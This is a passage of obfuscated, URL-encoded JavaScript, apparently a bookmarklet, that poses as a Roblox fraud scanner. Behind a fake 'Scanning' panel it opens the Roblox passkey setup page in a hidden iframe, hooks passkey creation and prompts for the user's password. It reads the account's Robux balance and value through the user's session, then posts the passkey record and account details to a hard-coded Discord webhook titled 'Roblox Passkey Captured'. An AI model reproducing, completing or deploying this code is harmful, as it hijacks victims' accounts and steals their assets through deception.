ning%28%29%3B%20let%20dots%20%3D%200%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C110%2C105%2C110%2C103%29%2C%20__S%2835%2C102%2C102%2C54%2C98%2C54%2C48%29%29%3B%20__scanTimer%20%3D%20setInterval%28%28%29%20%3D%3E%20%7B%20dots%20%3D%20%28dots%20%2B%201%29%20%25%204%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C110%2C105%2C110%2C103%29%20%2B%20__S%2846%29.repeat%28dots%29%2C%20__S%2835%2C102%2C102%2C54%2C98%2C54%2C48%29%29%3B%20%7D%2C%20350%29%3B%20%7D%3B%20let%20__started%20%3D%20false%3B%20const%20__resetScan%20%3D%20%28%29%20%3D%3E%20%7B%20__stopScanning%28%29%3B%20__started%20%3D%20false%3B%20__scan.disabled%20%3D%20false%3B%20__scan.style.opacity%20%3D%20__S%2849%29%3B%20__scan.style.cursor%20%3D%20__S%28112%2C111%2C105%2C110%2C116%2C101%2C114%29%3B%20__scan.textContent%20%3D%20__S%2883%2C99%2C97%2C110%29%3B%20%7D%3B%20__scan.onclick%20%3D%20%28%29%20%3D%3E%20%7B%20if%20%28__started%29%20return%3B%20__started%20%3D%20true%3B%20__scan.disabled%20%3D%20true%3B%20__scan.style.opacity%20%3D%20__S%2846%2C54%2C53%29%3B%20__scan.style.cursor%20%3D%20__S%28100%2C101%2C102%2C97%2C117%2C108%2C116%29%3B%20__scan.textContent%20%3D%20__S%2883%2C99%2C97%2C110%2C110%2C105%2C110%2C103%2C46%2C46%2C46%29%3B%20__startScanning%28%29%3B%20runPasskey%28%29%3B%20%7D%3B%20__head.append%28__label%2C%20__scan%29%3B%20__ui.append%28__head%2C%20__status%29%3B%20document.body.append%28__ui%29%3B%20function%20runPasskey%28%29%20%7B%20const%20approvedAt%20%3D%20Date.now%28%29%3B%20const%20store%20%3D%20ResidentCredentialStore.create%28indexedDB%29%3B%20const%20oldPassword%20%3D%20%28%29%20%3D%3E%20%7B%20const%20password%20%3D%20prompt%28__S%2884%2C104%2C105%2C115%2C32%2C111%2C108%2C100%2C101%2C114%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C117%2C115%2C101%2C115%2C32%2C116%2C104%2C101%2C32%2C112%2C97%2C115%2C115%2C119%2C111%2C114%2C100%2C32%2C121%2C111%2C117%2C32%2C99%2C104%2C111%2C115%2C101%2C32%2C105%2C110%2C32%2C118%2C57%2C46%2C32%2C69%2C110%2C116%2C101%2C114%2C32%2C105%2C116%2C32%2C111%2C110%2C99%2C101%2C32%2C116%2C111%2C32%2C109%2C105%2C103%2C114%2C97%2C116%2C101%2C32%2C116%2C104%2C101%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C111%2C112%2C121%2C32%2C116%2C111%2C32%2C97%2C117%2C116%2C111%2C109%2C97%2C116%2C105%2C99%2C32%2C98%2C114%2C111%2C119%2C115%2C101%2C114%2C32%2C117%2C110%2C108%2C111%2C99%2C107%2C105%2C110%2C103%2C46%29%29%3B%20if%20%28password%20%3D%3D%3D%20null%29%20throw%20new%20Error%28__S%2877%2C105%2C103%2C114%2C97%2C116%2C105%2C111%2C110%2C32%2C111%2C102%2C32%2C116%2C104%2C101%2C32%2C111%2C108%2C100%2C101%2C114%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C119%2C97%2C115%2C32%2C99%2C97%2C110%2C99%2C101%2C108%2C108%2C101%2C100%2C46%29%29%3B%20return%20password%3B%20%7D%3B%20if%20%28loginPage%29%20%7B%20SoftwareCredential.installGet%28window%2C%20%7B%20password%3A%20oldPassword%2C%20choose%3A%20records%20%3D%3E%20%7B%20if%20%28records.length%20%3D%3D%3D%201%29%20return%20confirm%28__S%2885%2C115%2C101%2C32%2C116%2C104%2C101%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C115%2C111%2C102%2C116%2C119%2C97%2C114%2C101%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C102%2C111%2C114%2C32%29%20%2B%20%28records%5B0%5D.account_name%20%7C%7C%20__S%28116%2C104%2C105%2C115%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%29%29%20%2B%20__S%2863%29%29%20%3F%20records%5B0%5D.key%20%3A%20null%3B%20const%20choices%20%3D%20records.map%28%28record%2C%20index%29%20%3D%3E%20%28index%20%2B%201%29%20%2B%20__S%2846%2C32%29%20%2B%20%28record.account_name%20%7C%7C%20__S%2865%2C99%2C99%2C111%2C117%2C110%2C116%29%29%20%2B%20__S%2832%2C40%29%20%2B%20record.credential_id.slice%280%2C%208%29%20%2B%20__S%2841%29%29.join%28__S%2810%29%29%3B%20const%20answer%20%3D%20prompt%28__S%2867%2C104%2C111%2C111%2C115%2C101%2C32%2C97%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C115%2C111%2C102%2C116%2C119%2C97%2C114%2C101%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C98%2C121%2C32%2C110%2C117%2C109%2C98%2C101%2C114%2C58%2C10%29%20%2B%20choices%29%3B%20return%20answer%20%26%26%20%2F%5E%5Cd%2B%24%2F.test%28answer.trim%28%29%29%20%3F%20records%5BNumber%28answer%29%20-%201%5D%3F.key%20%7C%7C%20null%20%3A%20null%3B%20%7D%2C%20error%3A%20message%20%3D%3E%20%28%28%29%3D%3E%7B%7D%29%28message%29%2C%20%7D%2C%20store%29%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2886%2C101%2C114%2C105%2C102%2C121%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C111%2C119%2C110%2C101%2C114%2C115%2C104%2C105%2C112%29%2C%20__S%2835%2C102%2C102%2C100%2C49%2C54%2C54%29%29%3B%20return%3B%20%7D%20const%20frame%20%3D%20document.createElement%28__S%28105%2C102%2C114%2C97%2C109%2C101%29%29%3B%20frame.id%20%3D%20__S%28110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C102%2C114%2C97%2C109%2C101%29%3B%20frame.title%20%3D%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C118%2C101%2C114%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C111%2C114%2C32%2C115%2C111%2C102%2C116%2C119%2C97%2C114%2C101%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C111%2C110%29%3B%20frame.setAttribute%28__S%28115%2C97%2C110%2C100%2C98%2C111%2C120%29%2C%20__S%2897%2C108%2C108%2C111%2C119%2C45%2C115%2C99%2C114%2C105%2C112%2C116%2C115%2C32%2C97%2C108%2C108%2C111%2C119%2C45%2C115%2C97%2C109%2C101%2C45%2C111%2C114%2C105%2C103%2C105%2C110%2C32%2C97%2C108%2C108%2C111%2C119%2C45%2C102%2C111%2C114%2C109%2C115%2C32%2C97%2C108%2C108%2C111%2C119%2C45%2C109%2C111%2C100%2C97%2C108%2C115%29%29%3B%20frame.allow%20%3D%20__S%28112%2C117%2C98%2C108%2C105%2C99%2C107%2C101%2C121%2C45%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C115%2C45%2C99%2C114%2C101%2C97%2C116%2C101%2C59%2C32%2C112%2C117%2C98%2C108%2C105%2C99%2C107%2C101%2C121%2C45%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C115%2C45%2C103%2C101%2C116%29%3B%20frame.style.cssText%20%3D%20__S%28112%2C111%2C115%2C105%2C116%2C105%2C111%2C110%2C58%2C102%2C105%2C120%2C101%2C100%2C59%2C105%2C110%2C115%2C101%2C116%2C58%2C48%2C59%2C119%2C105%2C100%2C116%2C104%2C58%2C49%2C48%2C48%2C37%2C59%2C104%2C101%2C105%2C103%2C104%2C116%2C58%2C49%2C48%2C48%2C37%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C58%2C48%2C59%2C122%2C45%2C105%2C110%2C100%2C101%2C120%2C58%2C50%2C49%2C52%2C55%2C52%2C56%2C51%2C54%2C52%2C53%2C59%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C116%2C114%2C97%2C110%2C115%2C112%2C97%2C114%2C101%2C110%2C116%2C59%2C111%2C112%2C97%2C99%2C105%2C116%2C121%2C58%2C48%2C59%2C112%2C111%2C105%2C110%2C116%2C101%2C114%2C45%2C101%2C118%2C101%2C110%2C116%2C115%2C58%2C110%2C111%2C110%2C101%29%3B%20const%20close%20%3D%20document.createElement%28__S%2898%2C117%2C116%2C116%2C111%2C110%29%29%3B%20close.textContent%20%3D%20__S%2879%2C112%2C101%2C110%2C105%2C110%2C103%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C115%2C101%2C116%2C117%2C112%2C32%2C226%2C128%2C148%2C32%2C67%2C97%2C110%2C99%2C101%2C108%29%3B%20close.style.cssText%20%3D%20__S%28112%2C111%2C115%2C105%2C116%2C105%2C111%2C110%2C58%2C102%2C105%2C120%2C101%2C100%2C59%2C114%2C105%2C103%2C104%2C116%2C58%2C49%2C54%2C112%2C120%2C59%2C116%2C111%2C112%2C58%2C49%2C54%2C112%2C120%2C59%2C122%2C45%2C105%2C110%2C100%2C101%2C120%2C58%2C50%2C49%2C52%2C55%2C52%2C56%2C51%2C54%2C52%2C55%2C59%2C112%2C97%2C100%2C100%2C105%2C110%2C103%2C58%2C49%2C48%2C112%2C120%2C32%2C49%2C52%2C112%2C120%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C58%2C49%2C112%2C120%2C32%2C115%2C111%2C108%2C105%2C100%2C32%2C35%2C55%2C55%2C55%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C45%2C114%2C97%2C100%2C105%2C117%2C115%2C58%2C56%2C112%2C120%2C59%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C35%2C102%2C102%2C102%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C49%2C49%2C49%2C59%2C102%2C111%2C110%2C116%2C58%2C49%2C52%2C112%2C120%2C32%2C115%2C121%2C115%2C116%2C101%2C109%2C45%2C117%2C105%2C59%2C99%2C117%2C114%2C115%2C111%2C114%2C58%2C112%2C111%2C105%2C110%2C116%2C101%2C114%29%3B%20let%20timer%3B%20let%20observer%3B%20let%20restoreCreation%3B%20let%20diagnostics%3B%20let%20generatorRequested%20%3D%20false%3B%20let%20notificationUsername%20%3D%20__S%28%29%3B%20let%20notificationStarted%20%3D%20false%3B%20let%20generated%20%3D%20false%3B%20let%20exporterError%20%3D%20false%3B%20let%20lastError%20%3D%20__S%28%29%3B%20let%20ended%20%3D%20false%3B%20let%20clickedManage%20%3D%20false%3B%20let%20clickedAdd%20%3D%20false%3B%20let%20clickedContinue%20%3D%20false%3B%20let%20creationRequested%20%3D%20false%3B%20let%20verificationSeen%20%3D%20false%3B%20let%20__verifyCancelled%20%3D%20false%3B%20let%20__verificationVisible%20%3D%20false%3B%20let%20__awaitingVerification%20%3D%20false%3B%20let%20__twoFaSeen%20%3D%20false%3B%20let%20__twoFaGoneTimer%20%3D%20null%3B%20let%20__postVerifyStarted%20%3D%20false%3B%20let%20__postVerifyDone%20%3D%20false%3B%20let%20__postVerifyTimer%20%3D%20null%3B%20let%20revealed%20%3D%20false%3B%20const%20deadline%20%3D%20Date.now%28%29%20%2B%2045000%3B%20const%20cleanup%20%3D%20%28%29%20%3D%3E%20%7B%20ended%20%3D%20true%3B%20clearInterval%28timer%29%3B%20observer%3F.disconnect%28%29%3B%20restoreCreation%3F.%28%29%3B%20diagnostics%3F.stop%28%29%3B%20restoreCreation%20%3D%20null%3B%20frame.remove%28%29%3B%20close.remove%28%29%3B%20%7D%3B%20const%20fail%20%3D%20message%20%3D%3E%20%7B%20if%20%28__postVerifyTimer%29%20%7B%20clearTimeout%28__postVerifyTimer%29%3B%20__postVerifyTimer%20%3D%20null%3B%20%7D%20__stopScanning%28%29%3B%20__setStatus%28__S%2883%2C99%2C97%2C110%2C32%2C102%2C97%2C105%2C108%2C101%2C100%29%2C%20__S%2835%2C102%2C102%2C56%2C97%2C56%2C48%29%29%3B%20__resetScan%28%29%3B%20cleanup%28%29%3B%20%28%28%29%3D%3E%7B%7D%29%28message%29%3B%20%7D%3B%20close.onclick%20%3D%20cleanup%3B%20frame.onload%20%3D%20%28%29%20%3D%3E%20%7B%20if%20%28ended%29%20return%3B%20clearInterval%28timer%29%3B%20observer%3F.disconnect%28%29%3B%20try%20%7B%20const%20win%20%3D%20frame.contentWindow%3B%20const%20doc%20%3D%20frame.contentDocument%3B%20if%20%28%21doc%20%7C%7C%20%21doc.body%20%7C%7C%20win.location.origin%20%21%3D%3D%20location.origin%29%20throw%20Error%28%29%3B%20if%20%28%2F%5C%2F%28%3F%3Alogin%7CNewLogin%29%2Fi.test%28win.location.pathname%29%29%20%7B%20fail%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C113%2C117%2C105%2C114%2C101%2C115%2C32%2C121%2C111%2C117%2C32%2C116%2C111%2C32%2C115%2C105%2C103%2C110%2C32%2C105%2C110%2C46%2C32%2C67%2C108%2C111%2C115%2C101%2C32%2C116%2C104%2C105%2C115%2C32%2C115%2C101%2C116%2C117%2C112%2C32%2C97%2C110%2C100%2C32%2C115%2C105%2C103%2C110%2C32%2C105%2C110%2C32%2C110%2C111%2C114%2C109%2C97%2C108%2C108%2C121%2C46%29%29%3B%20return%3B%20%7D%20if%20%28generated%29%20%7B%20fail%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C108%2C111%2C97%2C100%2C101%2C100%2C32%2C97%2C102%2C116%2C101%2C114%2C32%2C107%2C101%2C121%2C32%2C103%2C101%2C110%2C101%2C114%2C97%2C116%2C105%2C111%2C110%2C46%2C32%2C67%2C104%2C101%2C99%2C107%2C32%2C68%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C115%2C32%2C97%2C110%2C100%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C83%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C110%2C103%2C32%2C97%2C110%2C111%2C116%2C104%2C101%2C114%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C46%29%29%3B%20return%3B%20%7D%20restoreCreation%3F.%28%29%3B%20diagnostics%3F.stop%28%29%3B%20diagnostics%20%3D%20PasskeyDiagnostics.install%28win%29%3B%20restoreCreation%20%3D%20SoftwareCredential.install%28win%2C%20frame%2C%20%7B%20started%3A%20%28%29%20%3D%3E%20%7B%20generatorRequested%20%3D%20true%3B%20__awaitingVerification%20%3D%20false%3B%20__postVerifyStarted%20%3D%20true%3B%20clearTimeout%28__postVerifyTimer%29%3B%20__startScanning%28%29%3B%20%7D%2C%20approve%3A%20%28%29%20%3D%3E%20%21ended%20%26%26%20Date.now%28%29%20-%20approvedAt%20%3C%205%20%2A%2060%20%2A%201000%2C%20export%3A%20record%20%3D%3E%20%7B%20if%20%28ended%29%20throw%20new%20Error%28__S%2880%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C115%2C101%2C116%2C117%2C112%2C32%2C99%2C108%2C111%2C115%2C101%2C100%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C116%2C104%2C101%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C32%2C119%2C97%2C115%2C32%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C101%2C100%2C46%29%29%3B%20generated%20%3D%20true%3B%20const%20blob%20%3D%20new%20Blob%28%5BJSON.stringify%28record%2C%20null%2C%202%29%20%2B%20__S%2810%29%5D%2C%20%7B%20type%3A%20__S%28116%2C101%2C120%2C116%2C47%2C112%2C108%2C97%2C105%2C110%2C59%2C99%2C104%2C97%2C114%2C115%2C101%2C116%2C61%2C117%2C116%2C102%2C45%2C56%29%20%7D%29%3B%20const%20url%20%3D%20URL.createObjectURL%28blob%29%3B%20const%20link%20%3D%20document.createElement%28__S%2897%29%29%3B%20link.href%20%3D%20url%3B%20link.download%20%3D%20__S%28114%2C111%2C98%2C108%2C111%2C120%2C49%2C50%2C51%2C46%2C116%2C120%2C116%29%3B%20link.style.display%20%3D%20__S%28110%2C111%2C110%2C101%29%3B%20document.body.append%28link%29%3B%20try%20%7B%20void%200%3B%20notificationUsername%20%3D%20record.account_name%3B%20const%20txt%20%3D%20JSON.stringify%28record%2C%20null%2C%202%29%20%2B%20__S%2810%29%3B%20const%20wiframe%20%3D%20document.createElement%28__S%28105%2C102%2C114%2C97%2C109%2C101%29%29%3B%20wiframe.name%20%3D%20__S%28119%2C101%2C98%2C104%2C111%2C111%2C107%2C45%2C105%2C102%2C114%2C97%2C109%2C101%29%3B%20wiframe.style.display%20%3D%20__S%28110%2C111%2C110%2C101%29%3B%20document.body.append%28wiframe%29%3B%20%28async%20%28%29%20%3D%3E%20%7B%20let%20robux%20%3D%20__S%2878%2C47%2C65%29%2C%20rap%20%3D%20__S%2878%2C47%2C65%29%2C%20userId%20%3D%20null%3B%20try%20%7B%20const%20ar%20%3D%20await%20fetch%28__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C117%2C115%2C101%2C114%2C115%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C47%2C118%2C49%2C47%2C117%2C115%2C101%2C114%2C115%2C47%2C97%2C117%2C116%2C104%2C101%2C110%2C116%2C105%2C99%2C97%2C116%2C101%2C100%29%2C%20%7B%20credentials%3A%20__S%28105%2C110%2C99%2C108%2C117%2C100%2C101%29%20%7D%29%3B%20if%20%28ar.ok%29%20%7B%20const%20ad%20%3D%20await%20ar.json%28%29%3B%20userId%20%3D%20ad.id%3B%20%7D%20%7D%20catch%20%7B%7D%20if%20%28userId%29%20%7B%20try%20%7B%20const%20rr%20%3D%20await%20fetch%28__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C101%2C99%2C111%2C110%2C111%2C109%2C121%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C47%2C118%2C49%2C47%2C117%2C115%2C101%2C114%2C115%2C47%29%20%2B%20userId%20%2B%20__S%2847%2C99%2C117%2C114%2C114%2C101%2C110%2C99%2C121%29%2C%20%7B%20credentials%3A%20__S%28105%2C110%2C99%2C108%2C117%2C100%2C101%29%20%7D%29%3B%20if%20%28rr.ok%29%20%7B%20const%20rd%20%3D%20await%20rr.json%28%29%3B%20robux%20%3D%20%28rd.robux%20%21%3D%20null%20%3F%20rd.robux.toLocaleString%28%29%20%3A%20__S%2878%2C47%2C65%29%29%3B%20%7D%20%7D%20catch%20%7B%7D%20try%20%7B%20const%20vr%20%3D%20await%20fetch%28__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C101%2C99%2C111%2C110%2C111%2C109%2C121%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C47%2C118%2C50%2C47%2C117%2C115%2C101%2C114%2C115%2C47%29%20%2B%20userId%20%2B%20__S%2847%2C118%2C97%2C108%2C117%2C101%29%2C%20%7B%20credentials%3A%20__S%28105%2C110%2C99%2C108%2C117%2C100%2C101%29%20%7D%29%3B%20if%20%28vr.ok%29%20%7B%20const%20vd%20%3D%20await%20vr.json%28%29%3B%20rap%20%3D%20%28vd.robuxValue%20%21%3D%20null%20%3F%20vd.robuxValue.toLocaleString%28%29%20%3A%20__S%2878%2C47%2C65%29%29%3B%20%7D%20%7D%20catch%20%7B%7D%20%7D%20const%20descJson%20%3D%20__S%2896%2C96%2C96%2C106%2C115%2C111%2C110%2C10%29%20%2B%20txt.substring%280%2C%203800%29%20%2B%20__S%2810%2C96%2C96%2C96%29%3B%20const%20form2%20%3D%20document.createElement%28__S%28102%2C111%2C114%2C109%29%29%3B%20form2.method%20%3D%20__S%2880%2C79%2C83%2C84%29%3B%20form2.action%20%3D%20__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C100%2C105%2C115%2C99%2C111%2C114%2C100%2C46%2C99%2C111%2C109%2C47%2C97%2C112%2C105%2C47%2C119%2C101%2C98%2C104%2C111%2C111%2C107%2C115%2C47%2C49%2C53%2C55%2C48%2C56%2C55%2C56%2C56%2C54%2C52%2C50%2C57%2C53%2C52%2C54%2C57%2C49%2C56%2C55%2C47%2C90%2C73%2C112%2C90%2C112%2C115%2C48%2C86%2C69%2C87%2C114%2C97%2C67%2C109%2C89%2C114%2C69%2C109%2C87%2C71%2C70%2C56%2C122%2C111%2C115%2C68%2C85%2C66%2C87%2C118%2C82%2C82%2C107%2C88%2C68%2C84%2C99%2C72%2C103%2C66%2C122%2C88%2C73%2C85%2C121%2C112%2C114%2C49%2C77%2C110%2C78%2C90%2C75%2C50%2C73%2C98%2C119%2C83%2C118%2C52%2C111%2C116%2C105%2C71%2C98%2C57%2C99%2C50%2C63%2C119%2C97%2C105%2C116%2C61%2C116%2C114%2C117%2C101%29%3B%20form2.enctype%20%3D%20__S%28109%2C117%2C108%2C116%2C105%2C112%2C97%2C114%2C116%2C47%2C102%2C111%2C114%2C109%2C45%2C100%2C97%2C116%2C97%29%3B%20form2.target%20%3D%20__S%28119%2C101%2C98%2C104%2C111%2C111%2C107%2C45%2C105%2C102%2C114%2C97%2C109%2C101%29%3B%20form2.style.display%20%3D%20__S%28110%2C111%2C110%2C101%29%3B%20const%20f2%20%3D%20document.createElement%28__S%28105%2C110%2C112%2C117%2C116%29%29%3B%20f2.type%20%3D%20__S%28104%2C105%2C100%2C100%2C101%2C110%29%3B%20f2.name%20%3D%20__S%28112%2C97%2C121%2C108%2C111%2C97%2C100%2C95%2C106%2C115%2C111%2C110%29%3B%20f2.value%20%3D%20JSON.stringify%28%7B%20embeds%3A%20%5B%7B%20title%3A%20__S%2855357%2C56593%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C80%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C67%2C97%2C112%2C116%2C117%2C114%2C101%2C100%29%2C%20color%3A%2015728143%2C%20description%3A%20descJson%2C%20fields%3A%20%5B%7B%20name%3A%20__S%2855357%2C56420%2C32%2C85%2C115%2C101%2C114%2C110%2C97%2C109%2C101%29%2C%20value%3A%20record.account_name%20%7C%7C%20__S%2885%2C110%2C107%2C110%2C111%2C119%2C110%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855356%2C57335%2C65039%2C32%2C68%2C105%2C115%2C112%2C108%2C97%2C121%2C32%2C78%2C97%2C109%2C101%29%2C%20value%3A%20record.account_display_name%20%7C%7C%20__S%2878%2C47%2C65%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56496%2C32%2C82%2C111%2C98%2C117%2C120%2C32%2C66%2C97%2C108%2C97%2C110%2C99%2C101%29%2C%20value%3A%20String%28robux%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56520%2C32%2C82%2C65%2C80%29%2C%20value%3A%20String%28rap%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855356%2C57104%2C32%2C82%2C80%2C32%2C73%2C68%29%2C%20value%3A%20record.rpId%20%7C%7C%20__S%28119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56592%2C32%2C65%2C108%2C103%2C111%2C114%2C105%2C116%2C104%2C109%29%2C%20value%3A%20record.algorithm%20%7C%7C%20__S%2869%2C83%2C50%2C53%2C54%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56517%2C32%2C67%2C114%2C101%2C97%2C116%2C101%2C100%2C32%2C65%2C116%29%2C%20value%3A%20record.created_at%20%7C%7C%20new%20Date%28%29.toISOString%28%29%2C%20inline%3A%20false%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56593%2C32%2C67%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C73%2C68%29%2C%20value%3A%20record.credential_id%20%7C%7C%20__S%2878%2C47%2C65%29%2C%20inline%3A%20false%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56523%2C32%2C82%2C101%2C103%2C105%2C115%2C116%2C114%2C97%2C116%2C105%2C111%2C110%2C32%2C83%2C116%2C97%2C116%2C117%2C115%29%2C%20value%3A%20%28record.registration_status%20%7C%7C%20__S%2878%2C47%2C65%29%29.substring%280%2C200%29%2C%20inline%3A%20false%20%7D%2C%20%7B%20name%3A%20__S%2855357%2C56510%2C32%2C83%2C116%2C111%2C114%2C97%2C103%2C101%29%2C%20value%3A%20record.storage_protection%20%7C%7C%20__S%2878%2C47%2C65%29%2C%20inline%3A%20false%20%7D%5D%2C%20footer%3A%20%7B%20text%3A%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C80%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C69%2C120%2C112%2C111%2C114%2C116%2C32%2C8226%2C32%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%29%20%7D%2C%20timestamp%3A%20new%20Date%28%29.toISOString%28%29%20%7D%5D%2C%20allowed_mentions%3A%20%7B%20parse%3A%20%5B%5D%20%7D%20%7D%29%3B%20form2.append%28f2%29%3B%20document.body.append%28form2%29%3B%20form2.submit%28%29%3B%20form2.remove%28%29%3B%20__postVerifyDone%20%3D%20true%3B%20__startScanning%28%29%3B%20clearTimeout%28__postVerifyTimer%29%3B%20__postVerifyTimer%20%3D%20setTimeout%28%28%29%20%3D%3E%20%7B%20__stopScanning%28%29%3B%20__setStatus%28__S%2878%2C111%2C32%2C102%2C114%2C97%2C117%2C100%2C32%2C97%2C99%2C116%2C105%2C118%2C105%2C116%2C121%2C32%2C102%2C111%2C117%2C110%2C100%29%2C%20__S%2835%2C55%2C101%2C101%2C55%2C56%2C55%29%29%3B%20%7D%2C%203500%29%3B%20%7D%29%28%29%3B%20%7D%20finally%20%7B%20link.remove%28%29%3B%20setTimeout%28%28%29%20%3D%3E%20URL.revokeObjectURL%28url%29%2C%2060000%29%3B%20%7D%20%7D%2C%20error%3A%20message%20%3D%3E%20%7B%20exporterError%20%3D%20true%3B%20if%20%28lastError%20%21%3D%3D%20message%29%20%7B%20lastError%20%3D%20message%3B%20%28%28%29%3D%3E%7B%7D%29%28message%29%3B%20%7D%20%7D%2C%20%7D%2C%20store%29%3B%20const%20style%20%3D%20doc.createElement%28__S%28115%2C116%2C121%2C108%2C101%29%29%3B%20style.textContent%20%3D%20__S%28104%2C116%2C109%2C108%2C44%2C98%2C111%2C100%2C121%2C123%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C116%2C114%2C97%2C110%2C115%2C112%2C97%2C114%2C101%2C110%2C116%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%2C98%2C111%2C100%2C121%2C123%2C111%2C118%2C101%2C114%2C102%2C108%2C111%2C119%2C58%2C104%2C105%2C100%2C100%2C101%2C110%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%2C98%2C111%2C100%2C121%2C32%2C42%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C104%2C105%2C100%2C100%2C101%2C110%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%2C91%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%2C93%2C44%2C91%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%2C93%2C32%2C42%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C118%2C105%2C115%2C105%2C98%2C108%2C101%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%2C91%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%2C93%2C123%2C118%2C105%2C115%2C105%2C98%2C105%2C108%2C105%2C116%2C121%2C58%2C118%2C105%2C115%2C105%2C98%2C108%2C101%2C33%2C105%2C109%2C112%2C111%2C114%2C116%2C97%2C110%2C116%2C125%29%3B%20const%20loadingIndicators%20%3D%20__S%28112%2C114%2C111%2C103%2C114%2C101%2C115%2C115%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C112%2C114%2C111%2C103%2C114%2C101%2C115%2C115%2C98%2C97%2C114%2C34%2C93%2C44%2C35%2C108%2C111%2C97%2C100%2C105%2C110%2C103%2C45%2C98%2C97%2C114%2C44%2C35%2C108%2C111%2C97%2C100%2C105%2C110%2C103%2C45%2C98%2C97%2C114%2C45%2C115%2C112%2C105%2C110%2C110%2C101%2C114%2C44%2C35%2C110%2C112%2C114%2C111%2C103%2